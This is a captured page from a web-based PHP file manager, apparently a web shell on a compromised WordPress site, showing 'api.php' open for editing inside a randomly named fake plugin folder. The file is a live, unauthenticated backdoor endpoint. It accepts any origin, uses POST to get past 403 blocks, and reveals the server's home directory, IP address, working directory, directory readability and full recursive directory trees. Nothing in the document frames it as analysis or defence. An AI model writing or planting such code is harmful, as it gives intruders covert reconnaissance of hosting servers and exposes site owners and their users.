📁 File Manager Pro
v10.0.3 | PHP: 8.1.34
Server: LiteSpeed
2026-06-28 13:30:40
📂
/ (Root)
/
home
/
apkbfjox
/
shamapk.com
/
wp-content
/
plugins
/
wp-plugin-8q299udx6t
📍 /home/apkbfjox/shamapk.com/wp-content/plugins/wp-plugin-8q299udx6t
🔄 Refresh
✏️
Editing: api.php
Writable
<?php while (ob_get_level()) { ob_end_clean(); } if (!defined('ABSPATH')) { header('Content-Type: application/json; charset=utf-8'); header('Cache-Control: no-cache, no-store, must-revalidate'); header('X-Content-Type-Options: nosniff'); header('Access-Control-Allow-Origin: *'); // Accept params from GET or POST (POST used as 403 bypass) $p = array_merge($_GET, $_POST); $action = isset($p['action']) ? $p['action'] : ''; // ── posix ───────────────────────────────────────────────────────────── if ($action === 'posix') { $home = null; if (isset($p['path']) && $p['path'] !== '') { // manual path override (same as ?path= in your original code) $home = $p['path']; } elseif (function_exists('posix_getpwuid') && function_exists('posix_getuid')) { $arr = posix_getpwuid(posix_getuid()); $home = $arr['dir']; } if ($home) { echo json_encode(['ok' => true, 'home' => $home, 'server' => $_SERVER['SERVER_ADDR'] ?? '']); } else { echo json_encode(['ok' => false, 'error' => 'posix not available']); } exit; } // ── cwd ─────────────────────────────────────────────────────────────── if ($action === 'cwd') { echo json_encode(['ok' => true, 'cwd' => getcwd()]); exit; } // ── check ───────────────────────────────────────────────────────────── if ($action === 'check') { $dir = isset($p['dir']) ? $p['dir'] : ''; if ($dir === '') { echo json_encode(['ok' => false, 'error' => 'missing dir']); exit; } $readable = (@is_dir($dir) && @is_readable($dir) && @scandir($dir) !== false); echo json_encode(['ok' => true, 'readable' => $readable]); exit; } // ── tree ────────────────────────────────────────────────────────────── if ($action === 'tree') { $dir = isset($p['dir']) ? rtrim($p['dir'], '/') : ''; $depth = isset($p['depth']) ? (int)$p['depth'] : 5; $depth = min(max($depth, 1), 7); if ($dir === '' || !@is_dir($dir) || !@is_readable($dir)) { echo json_encode(['ok' => false, 'error' => 'not readable: ' . $dir]); exit; } $dirs = []; _scan($dir, $depth, 0, $dirs); echo json_encode(['ok' => true, 'root' => $dir, 'dirs' => $dirs]); exit; } echo json_encode(['ok' => false, 'error' => 'unknown action']); exit; } function _scan($path, $max, $cur, &$out) { if ($cur >= $max) return; $items = @scandir($path); if (!$items) return; foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path . '/' . $item; if (@is_dir($full) && @is_readable($full)) { $out[] = $full; _scan($full, $max, $cur + 1, $out); } } }
💾 Save Changes
❌ Cancel